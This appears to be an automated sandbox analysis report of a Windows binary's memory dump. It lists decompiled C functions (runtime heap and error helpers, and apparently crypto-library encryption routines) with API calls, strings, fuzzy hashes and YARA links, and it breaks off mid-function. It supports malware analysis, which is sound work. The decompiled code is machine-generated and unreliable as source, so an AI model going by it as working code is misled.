0x0005658b
0x00056592
0x00000000
0x00000000
0x00000000
0x00056506
0x0005650b
0x00056513
0x00000000
0x00000000
0x00056515
0x00056519
0x00056574
0x00056574
0x00000000
0x00056520
0x00056523
0x00056525
0x0005652d
0x00000000
0x00000000
0x00056548
0x0005654a
0x00056554
0x00056564
0x00000000
0x00000000
0x00056568
0x0005656e
0x00000000
0x0005656e
0x00056558
0x00000000
0x0005655a
0x0005655a
0x00000000
0x0005655a
0x00056558
0x00056519

APIs

TerminateProcess.KERNEL32(00000040,00000001,?,?,?,00000000,00000000,?,?,00062995), ref: 00056533
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00062995), ref: 0005655A
CloseHandle.KERNEL32(00000040), ref: 00056568
CloseHandle.KERNEL32(00000040), ref: 000565B7
CloseHandle.KERNEL32(?), ref: 000565BC

Part of subcall function 00056700: GetExitCodeProcess.KERNEL32(00000040,?), ref: 0005673A
Part of subcall function 00056700: GetLastError.KERNEL32(?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 00056763
Part of subcall function 00056700: AreFileApisANSI.KERNEL32(00056511,00000040,?,?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 000567F5
Part of subcall function 00056700: MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,00056511,?,?,00000000,00000000,?,?,00062995), ref: 0005681B

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$ErrorLastProcess_free$ApisByteCharCodeExitFileMultiTerminateWide_abort
String ID:
API String ID: 4273648387-0
Opcode ID: 824b2f4443a7788fc5434e204307f8bd80b5a66bdc8f71cbe64161d93ac6c264
Instruction ID: cf14b3db1160ed7e9e9c9cc1e519625de73fc75cf9ab3ed3139d6d8cfaed62e2
Opcode Fuzzy Hash: 824b2f4443a7788fc5434e204307f8bd80b5a66bdc8f71cbe64161d93ac6c264
Instruction Fuzzy Hash: 5931E230A80A01AFDB619F64C848B6ABBB5AF40362F940324FC5597295FB63ED58C691

Uniqueness

Uniqueness Score: 37.75%

Function 0011E08C, Relevance: 7.6, APIs: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0011E08C(void* __ecx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t15;
				long _t16;

				_t11 = __ecx;
				_t16 = GetLastError();
				_t10 = 0;
				_t2 =  *0x16f3e0; // 0x4
				_t19 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t15 = E0011C726(_t11, 1, 0x364);
					_pop(_t13);
					if(_t15 != 0) {
						_t4 = E0011F2A9(_t13, _t16, __eflags,  *0x16f3e0, _t15);
						__eflags = _t4;
						if(_t4 != 0) {
							E0011DE7A(_t13, _t15, 0x17a0c0);
							E0011D5C7(_t10);
							__eflags = _t15;
							if(_t15 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t15);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E0011D5C7();
						L8:
						SetLastError(_t16);
					}
				} else {
					_t15 = E0011F253(_t11, _t16, _t19, _t2);
					if(_t15 != 0) {
						L9:
						SetLastError(_t16);
						_t10 = _t15;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x0011e08c
0x0011e097
0x0011e099
0x0011e09b
0x0011e0a0
0x0011e0a3
0x0011e0b1
0x0011e0bd
0x0011e0c0
0x0011e0c3
0x0011e0d5
0x0011e0da
0x0011e0dc
0x0011e0e7
0x0011e0ed
0x0011e0f5
0x0011e0f7
0x00000000
0x00000000
0x00000000
0x00000000
0x0011e0de
0x0011e0de
0x00000000
0x0011e0de
0x0011e0c5
0x0011e0c5
0x0011e0c6
0x0011e0c6
0x0011e0f9
0x0011e0fa
0x0011e0fa
0x0011e0a5
0x0011e0ab
0x0011e0af
0x0011e102
0x0011e103
0x0011e109
0x00000000
0x00000000
0x00000000
0x0011e0af
0x0011e110

APIs

GetLastError.KERNEL32(?,?,?,0010FACA,0011D994,?,00124E06,?,00000004,?,?,?,?,001197EF,?,?), ref: 0011E091

Part of subcall function 0011C726: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

_free.LIBCMT ref: 0011E0C6

Part of subcall function 0011F2A9: TlsSetValue.KERNEL32(?,?,00000004,?,?,?,?,?,00051054,?,00051054), ref: 0011F2EB

_free.LIBCMT ref: 0011E0ED

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

SetLastError.KERNEL32(00000000,?,?,?,?,?,00051054,?,00051054), ref: 0011E0FA
SetLastError.KERNEL32(00000000,?,?,?,?,?,00051054,?,00051054), ref: 0011E103

Part of subcall function 0011F253: TlsGetValue.KERNEL32(?,00000004,?,?,?,?,?,00051054,?,00051054), ref: 0011F292

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$HeapValue_free$AllocateFree
String ID:
API String ID: 4220139798-0
Opcode ID: 1562bec8af4136f61a19cadbeaaaf1e0d500f30925a848907d5e74611aa6a459
Instruction ID: 3507d5e6555d425497c399009022fb5fed13f14fa648de961eeca349277dad7c
Opcode Fuzzy Hash: 1562bec8af4136f61a19cadbeaaaf1e0d500f30925a848907d5e74611aa6a459
Instruction Fuzzy Hash: E201F97A30060067C63E66B42C89EEB26AEAFD47707650139FC1593692EFF08CC28051

Uniqueness

Uniqueness Score: 1.79%

Function 00125872, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00125872(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x16f330; // 0x16f328
					if(_t23 != 0) {
						E0011D5C7(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x16f334; // 0x179be4
					if(_t24 != 0) {
						E0011D5C7(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x16f338; // 0x179be4
					if(_t25 != 0) {
						E0011D5C7(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x16f360; // 0x16f32c
					if(_t26 != 0) {
						E0011D5C7(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x16f364; // 0x179be8
					if(_t27 != 0) {
						return E0011D5C7(_t6);
					}
				}
				return _t6;
			}

0x00125878
0x0012587d
0x00125881
0x00125887
0x0012588a
0x0012588f
0x00125893
0x00125899
0x0012589c
0x001258a1
0x001258a5
0x001258ab
0x001258ae
0x001258b3
0x001258b7
0x001258bd
0x001258c0
0x001258c5
0x001258c6
0x001258c9
0x001258cf
0x00000000
0x001258d7
0x001258cf
0x001258da

APIs

_free.LIBCMT ref: 0012588A
_free.LIBCMT ref: 0012589C
_free.LIBCMT ref: 001258AE
_free.LIBCMT ref: 001258C0
_free.LIBCMT ref: 001258D2

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 82510f11d880ba834b0ceece575e61df7f0e940b397752c355a0d83409e2640e
Instruction ID: 87a40dcf381fae6faf656d348ff61e3c47d98a8d289612dc2047f4e14d8ab4a0
Opcode Fuzzy Hash: 82510f11d880ba834b0ceece575e61df7f0e940b397752c355a0d83409e2640e
Instruction Fuzzy Hash: E1F0FF72505660ABCA64DB6AF8C2C5A73FFFB107147640829F018D7A11C7B0FCD18B54

Uniqueness

Uniqueness Score: 0.14%

Function 000C6490, Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 276
UNIQUE

Download Yara Rule

C-Code - Quality: 89%

			E000C6490(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v60;
				char _v84;
				char _v124;
				signed char _v128;
				intOrPtr _v132;
				intOrPtr* _v136;
				intOrPtr _v140;
				char _v144;
				intOrPtr _v172;
				char _v184;
				char _v192;
				signed int _v196;
				short _v200;
				char* _v204;
				intOrPtr _v240;
				char _v244;
				short _v248;
				char* _v252;
				intOrPtr _v288;
				char _v292;
				short _v296;
				intOrPtr _v300;
				intOrPtr _v336;
				char _v340;
				char _v344;
				char _v360;
				void* __ebp;
				signed int _t103;
				signed int _t104;
				void* _t123;
				signed int _t130;
				signed int _t131;
				void* _t138;
				intOrPtr _t161;
				intOrPtr* _t172;
				signed char _t174;
				signed int _t184;
				signed char _t195;
				void* _t200;
				signed int _t226;
				void* _t235;
				signed int _t238;
				signed int _t243;
				signed int _t244;
				intOrPtr* _t245;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				void* _t250;
				signed int _t251;

				_t251 = _t250 - 0x80;
				_t103 =  *0x16f170; // 0xd529e887
				_t104 = _t103 ^ _t248;
				_v20 = _t104;
				 *[fs:0x0] =  &_v16;
				_v132 = __ecx;
				_t172 = _a4;
				_v136 = _t172;
				E000D2050(__edx, __eflags, 0);
				_t232 =  *(__ecx + 4);
				_v8 = 0;
				_v128 = ( *( *(__ecx + 4)) + ( *( *(__ecx + 4)) << 2) << 3) +  *((intOrPtr*)(_t232 + 4));
				 *((intOrPtr*)(_v60 + 0x18))( &_v128, 1, 0, 1, _t104, __edi, __esi, __ebx,  *[fs:0x0], 0x135a50, 0xffffffff);
				_t238 = 2;
				_t184 =  *(__ecx + 4);
				if( *((intOrPtr*)(__ecx + 8)) - _t184 >> 2 <= 2) {
					L13:
					_v128 = 6;
					 *((intOrPtr*)( *_t172 + 0x18))( &_v128, 1, 0, 1);
					E000C6840(_t232, _t172, E000D2610( &_v60), _t232);
					_v144 = 0xffffffff;
					_v140 = 0xffffffff;
					 *((intOrPtr*)(_v60 + 0x80))( &_v144, 0x16f03c, 1);
					E000D21A0( &_v60);
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t248, _t172);
				} else {
					_t17 = _t238 + 5; // 0x7
					_t243 = _t17;
					do {
						_t174 =  *(_t184 + _t238 * 4);
						if(_t174 != 0) {
							_t244 = 0;
							__eflags = 0;
							_t123 = 0x20;
							do {
								_t195 = _t123 + _t244 >> 1;
								__eflags = _t174 >> _t195;
								_t123 =  ==  ? _t195 : _t123;
								_t196 =  ==  ? _t244 : _t195;
								_t244 =  ==  ? _t244 : _t195;
								__eflags = _t123 - _t244 - 1;
							} while (_t123 - _t244 > 1);
							_t235 = _t123;
							_t243 = 7;
						} else {
							_t123 = 0;
							_t235 = 0;
						}
						_t200 =  >  ? _t235 : _t243;
						if(_t200 > 0xfffffff9) {
							E00064B00( &_v84, "RoundUpToMultipleOf: integer overflow");
							_v8 = 1;
							E00059080( &_v84);
							E001047B7( &_v124, 0x16c9bc);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t249 = _t251;
							_t130 =  *0x16f170; // 0xd529e887
							_t131 = _t130 ^ _t249;
							_v196 = _t131;
							 *[fs:0x0] =  &_v192;
							_t245 =  &_v124;
							E000D2050(_t235, __eflags, 0);
							_v300 = _v172;
							_v296 = 0x30;
							_v340 = 0x13d45c;
							_v336 = 0x13d514;
							_v184 = 0;
							E000D2050(_t235, __eflags, 0);
							_v248 = 0x30;
							_v252 =  &_v340;
							_v292 = 0x13d45c;
							_v288 = 0x13d514;
							_v184 = 1;
							_t138 =  *((intOrPtr*)( *_t245 + 0x10))(_t131, _t243,  *[fs:0x0], 0x135aa6, 0xffffffff, _t248);
							_v184 = 2;
							E000C6490(_t174, _t138, _t235, _t238, _t245, __eflags,  &_v292);
							_v184 = 1;
							E000B5E90(_t174,  &_v360, _t238,  &_v360);
							 *((intOrPtr*)( *_t245 + 0x18))( &_v292);
							E000C6970( &_v292, _t235);
							E000D2050(_t235, __eflags, 0);
							_v244 = 0x13d818;
							_v240 = 0x13d8d0;
							_v204 =  &_v340;
							_v200 = 3;
							_v184 = 3;
							_v344 = 0;
							E000D2AE0(_t174,  &_v244, _t238, _t245,  &_v344, 1);
							 *((intOrPtr*)( *_t245 + 0x20))(0, 1);
							E000C6970( &_v244, _t235);
							E000C6970( &_v340, _t235);
							E000C5DF0( &_v244, _t235);
							E000C5DF0( &_v292, _t235);
							E000C5DF0( &_v340, _t235);
							 *[fs:0x0] = _v192;
							__eflags = _v196 ^ _t249;
							return E000ECED8(_v196 ^ _t249,  &_v244);
						} else {
							_t226 = _t200 + 6;
							_t232 = _t226 % _t243;
							_t25 = _t226 - _t226 % _t243 - 7; // -6
							_t247 = _t25;
							if(_t247 != 0) {
								asm("o16 nop [eax+eax]");
								do {
									_v128 = _t174 >> _t247 | 0x00000080;
									 *((intOrPtr*)(_v60 + 0x18))( &_v128, 1, 0, 1);
									_t247 = _t247 - 7;
								} while (_t247 != 0);
							}
							goto L11;
						}
						goto L16;
						L11:
						_v128 = _t174 & 0x0000007f;
						 *((intOrPtr*)(_v60 + 0x18))( &_v128, 1, 0, 1);
						_t161 = _v132;
						_t238 = _t238 + 1;
						_t243 = 7;
						_t184 =  *(_t161 + 4);
					} while (_t238 <  *((intOrPtr*)(_t161 + 8)) - _t184 >> 2);
					_t172 = _v136;
					goto L13;
				}
				L16:
			}

0x000c64a1
0x000c64a7
0x000c64ac
0x000c64ae
0x000c64b8
0x000c64c0
0x000c64c3
0x000c64cb
0x000c64d1
0x000c64d6
0x000c64e3
0x000c64f8
0x000c6502
0x000c6508
0x000c650d
0x000c6517
0x000c65de
0x000c65ec
0x000c65f0
0x000c65fe
0x000c6606
0x000c6616
0x000c662f
0x000c6638
0x000c6640
0x000c6658
0x000c651d
0x000c651d
0x000c651d
0x000c6520
0x000c6520
0x000c6525
0x000c652d
0x000c652d
0x000c652f
0x000c6534
0x000c6539
0x000c653d
0x000c653f
0x000c6542
0x000c6545
0x000c654b
0x000c654b
0x000c6550
0x000c6552
0x000c6527
0x000c6527
0x000c6529
0x000c6529
0x000c655c
0x000c6562
0x000c6663
0x000c666b
0x000c6673
0x000c6681
0x000c6686
0x000c6687
0x000c6688
0x000c6689
0x000c668a
0x000c668b
0x000c668c
0x000c668d
0x000c668e
0x000c668f
0x000c6691
0x000c66a7
0x000c66ac
0x000c66ae
0x000c66b6
0x000c66bc
0x000c66c6
0x000c66ce
0x000c66d1
0x000c66d7
0x000c66e1
0x000c66f0
0x000c66f7
0x000c6702
0x000c6708
0x000c670b
0x000c6712
0x000c6724
0x000c6728
0x000c672e
0x000c6735
0x000c6740
0x000c6744
0x000c6751
0x000c6757
0x000c6761
0x000c676c
0x000c6773
0x000c677a
0x000c677d
0x000c678f
0x000c6797
0x000c679e
0x000c67ab
0x000c67b1
0x000c67bc
0x000c67c4
0x000c67cc
0x000c67d7
0x000c67df
0x000c67eb
0x000c67f5
0x000c6568
0x000c6568
0x000c656f
0x000c6573
0x000c6573
0x000c6578
0x000c657a
0x000c6580
0x000c658f
0x000c659b
0x000c659e
0x000c659e
0x000c6580
0x00000000
0x000c6578
0x00000000
0x000c65a3
0x000c65b6
0x000c65b9
0x000c65bc
0x000c65bf
0x000c65c0
0x000c65c5
0x000c65d0
0x000c65d8
0x00000000
0x000c65d8
0x00000000

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000C6681

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

0, xrefs: 000C66D1
RoundUpToMultipleOf: integer overflow, xrefs: 000C665B
0, xrefs: 000C6702

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID: 0$0$RoundUpToMultipleOf: integer overflow
API String ID: 3939691812-3133548746
Opcode ID: b86d67af313748c8028eb221a54acf9fdd89a0e043beee6edf830bc8904a8e59
Instruction ID: d870079459fc9825d0a4dba0504763d00a61c94fe75508d08ddf3d4f7316d5a1
Opcode Fuzzy Hash: b86d67af313748c8028eb221a54acf9fdd89a0e043beee6edf830bc8904a8e59
Instruction Fuzzy Hash: 0BB19B71A102189FDB24DFA4D895FEEBBB4FF18700F10416DE516A7282DB71AA49CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000AF440, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 214
UNIQUE

Download Yara Rule

C-Code - Quality: 57%

			E000AF440(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				char _v48;
				char _v60;
				char _v84;
				char _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				char _v108;
				intOrPtr _v112;
				intOrPtr _v120;
				intOrPtr _v128;
				char _v148;
				signed int _v152;
				intOrPtr _v224;
				intOrPtr _v248;
				intOrPtr _v252;
				signed int _t73;
				signed int _t74;
				void* _t78;
				void* _t80;
				void* _t82;
				signed int _t87;
				signed int _t88;
				intOrPtr _t91;
				intOrPtr _t102;
				void* _t108;
				void* _t120;
				intOrPtr _t127;
				intOrPtr _t129;
				void* _t130;
				intOrPtr _t136;
				intOrPtr* _t145;
				intOrPtr _t147;
				void* _t164;
				intOrPtr* _t165;
				char* _t169;
				intOrPtr _t175;
				intOrPtr _t176;
				signed int _t180;
				signed int _t181;
				void* _t183;
				void* _t184;
				signed int _t185;

				_t164 = __edx;
				_push(0xffffffff);
				_push(0x134780);
				_push( *[fs:0x0]);
				_t184 = _t183 - 0x60;
				_t73 =  *0x16f170; // 0xd529e887
				_t74 = _t73 ^ _t180;
				_v20 = _t74;
				_push(_t74);
				 *[fs:0x0] =  &_v16;
				_t168 = __ecx;
				_t127 = _a4;
				_v112 = _a12;
				_t78 =  *((intOrPtr*)( *__ecx + 0x10))();
				_t175 = _a16;
				if(_t175 != _t78) {
					if(_t175 != 0) {
						_push( &_v84);
						_t80 =  *((intOrPtr*)( *__ecx + 8))();
						_v8 = 0;
						_t82 = E0006CBA0( &_v108, _t80, ": this object doesn\'t support a special last block");
						_t185 = _t184 + 0xc;
						_v8 = 1;
						E00059100(_t82);
						E001047B7( &_v60, 0x16d328);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t180);
						_t181 = _t185;
						_push(0xffffffff);
						_push(0x1347c0);
						_push( *[fs:0x0]);
						_t87 =  *0x16f170; // 0xd529e887
						_t88 = _t87 ^ _t181;
						_v152 = _t88;
						_push(_t127);
						_push(_t175);
						_push(_t88);
						 *[fs:0x0] =  &_v148;
						_t169 =  &_v60;
						_v224 = _t169;
						_t136 = _v128;
						_t176 = _v120;
						_t91 =  *((intOrPtr*)(_t169 + 0x14));
						if(_t91 == 0) {
							 *((intOrPtr*)(_t169 + 0x10)) = 0;
							 *((intOrPtr*)( *((intOrPtr*)(_t169 + 0x24)) + 0x18))(_t136, _a4, 0, 1);
							if(_t176 == 0) {
								goto L8;
							} else {
								_t129 = E000D2610(_t169 + 0x24);
								_v92 = _t129;
								if(_t164 != 0) {
									L19:
									E00064B00( &_v48, "PK_DefaultEncryptionFilter: plaintext too long");
									_v12 = 0;
									E00059080( &_v48);
									E001047B7( &_v88, 0x16c9bc);
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t181);
									_t165 =  &_v88;
									_t102 = _v252;
									if(_v248 != 0) {
										asm("bswap eax");
									}
									_t145 = _t165 + 8;
									 *_t145 = _t102;
									return  *((intOrPtr*)( *_t165 + 0x8c))(0x16f03c, _t145, 4, 0, _a4);
								} else {
									if(_t129 != 0) {
										_t147 = 1;
									} else {
										_t147 = 0;
									}
									asm("sbb eax, eax");
									if(_t147 !=  ~0x00000000) {
										goto L19;
									} else {
										_t108 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t169 + 0x1c)))) + 8))(_t129);
										E00063700( &_v40, _t129);
										_t130 = _v28;
										_v12 = 1;
										 *((intOrPtr*)( *((intOrPtr*)(_t169 + 0x24)) + 0x48))(_t130, _t129);
										E000B0210(_t169 + 0x4c, _t108);
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t169 + 0x1c)))) + 0x18))( *((intOrPtr*)(_t169 + 0x18)), _t130, _v92,  *((intOrPtr*)(_t169 + 0x58)),  *((intOrPtr*)(_t169 + 0x20)));
										_t154 =  <  ? _v36 : _v32;
										_v12 = 2;
										memset(_t130, 0, ( <  ? _v36 : _v32) << 0);
										L000B3E40(_t130);
										_t169 = _v96;
										_t176 = _a8;
										_v12 = 0xffffffff;
										goto L17;
									}
								}
							}
						} else {
							if(_t91 == 1) {
								L17:
								if(E000B2A80(_t169, 1,  *((intOrPtr*)(_t169 + 0x58)),  *((intOrPtr*)(_t169 + 0x54)), _t176, _a12, 0x16f03c) == 0) {
									goto L8;
								} else {
									_t120 =  >  ?  *((intOrPtr*)(_t169 + 0x54)) -  *((intOrPtr*)(_t169 + 0x10)) : 1;
								}
							} else {
								L8:
							}
							 *[fs:0x0] = _v20;
							return E000ECED8(_v24 ^ _t181);
						}
					} else {
						_t175 = _a8;
						goto L4;
					}
				} else {
					_push(_t175);
					_push(_v112);
					_push(_t127);
					 *((intOrPtr*)( *__ecx + 0x20))();
					L4:
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t180);
				}
			}

0x000af440
0x000af443
0x000af445
0x000af450
0x000af451
0x000af454
0x000af459
0x000af45b
0x000af461
0x000af465
0x000af46b
0x000af470
0x000af473
0x000af478
0x000af47b
0x000af480
0x000af492
0x000af4bc
0x000af4bf
0x000af4cb
0x000af4d3
0x000af4d8
0x000af4df
0x000af4e3
0x000af4f1
0x000af4f6
0x000af4f7
0x000af4f8
0x000af4f9
0x000af4fa
0x000af4fb
0x000af4fc
0x000af4fd
0x000af4fe
0x000af4ff
0x000af500
0x000af501
0x000af503
0x000af505
0x000af510
0x000af514
0x000af519
0x000af51b
0x000af51e
0x000af51f
0x000af521
0x000af525
0x000af52b
0x000af52d
0x000af533
0x000af536
0x000af539
0x000af53c
0x000af56e
0x000af57c
0x000af581
0x00000000
0x000af583
0x000af58b
0x000af58d
0x000af592
0x000af65f
0x000af667
0x000af66f
0x000af67a
0x000af688
0x000af68d
0x000af68e
0x000af68f
0x000af690
0x000af697
0x000af699
0x000af69c
0x000af69e
0x000af69e
0x000af6a3
0x000af6a6
0x000af6bd
0x000af598
0x000af59a
0x000af5a0
0x000af59c
0x000af59c
0x000af59c
0x000af5a9
0x000af5af
0x00000000
0x000af5b5
0x000af5bb
0x000af5c4
0x000af5d0
0x000af5d4
0x000af5db
0x000af5e2
0x000af5f9
0x000af607
0x000af60a
0x000af613
0x000af615
0x000af61a
0x000af620
0x000af623
0x00000000
0x000af623
0x000af5af
0x000af592
0x000af53e
0x000af541
0x000af62a
0x000af644
0x00000000
0x000af64a
0x000af657
0x000af657
0x000af547
0x000af547
0x000af547
0x000af54c
0x000af564
0x000af564
0x000af494
0x000af494
0x00000000
0x000af494
0x000af482
0x000af486
0x000af487
0x000af48a
0x000af48b
0x000af497
0x000af49c
0x000af4b4
0x000af4b4

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000AF4F1

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000AF688

Strings

PK_DefaultEncryptionFilter: plaintext too long, xrefs: 000AF65F
: this object doesn't support a special last block, xrefs: 000AF4C2

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: : this object doesn't support a special last block$PK_DefaultEncryptionFilter: plaintext too long
API String ID: 654547538-977134898
Opcode ID: 86ecc18210c193c20c0cb070e1d5921e41d1aede3b551e079e2695565ee86462
Instruction ID: 98f57fb2fa4838db5517e658af7180b3e50a4960c01ed0e803a460d9ed72c1d1
Opcode Fuzzy Hash: 86ecc18210c193c20c0cb070e1d5921e41d1aede3b551e079e2695565ee86462
Instruction Fuzzy Hash: 9E718F71A0060AAFCB14DFE4C885FEEBBB9FF49310F104529F916A7681DB71A954CB90

Uniqueness

Uniqueness Score: 100.00%

Function 0009ECB0, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0009ECB0(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8, signed char _a12, intOrPtr _a16) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v21;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				short _v36;
				char _v40;
				char _v44;
				void* _v48;
				char _v68;
				char _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				signed int _v100;
				void* _v104;
				intOrPtr* _v156;
				void* _v160;
				void* _v192;
				signed int _t132;
				char _t137;
				signed int _t140;
				signed char _t142;
				void* _t145;
				signed int _t150;
				signed int _t151;
				intOrPtr _t153;
				short* _t157;
				intOrPtr _t159;
				intOrPtr _t161;
				char* _t181;
				signed int _t186;
				signed int _t188;
				signed int _t197;
				char _t205;
				intOrPtr* _t207;
				signed int _t212;
				intOrPtr* _t214;
				intOrPtr _t223;
				intOrPtr* _t225;
				intOrPtr* _t228;
				intOrPtr* _t231;
				signed int _t232;
				intOrPtr _t233;
				void* _t234;
				signed int _t235;
				void* _t236;
				char* _t237;
				intOrPtr* _t239;
				signed int* _t240;
				signed int _t242;
				char _t243;
				intOrPtr* _t247;
				char* _t249;
				intOrPtr _t250;
				signed int _t254;
				signed int _t255;
				signed int _t258;
				intOrPtr _t259;
				signed int _t260;
				void* _t261;

				_t254 = _t258;
				_push(0xffffffff);
				_push(0x1326b0);
				_push( *[fs:0x0]);
				_t259 = _t258 - 0x34;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
